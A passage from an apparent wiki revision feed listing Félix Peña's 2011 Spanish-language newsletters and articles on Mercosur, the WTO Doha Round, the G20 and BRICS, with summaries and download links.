Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2026</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2026"/>
		<updated>2011-08-29T22:57:21Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN&lt;br /&gt;
¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
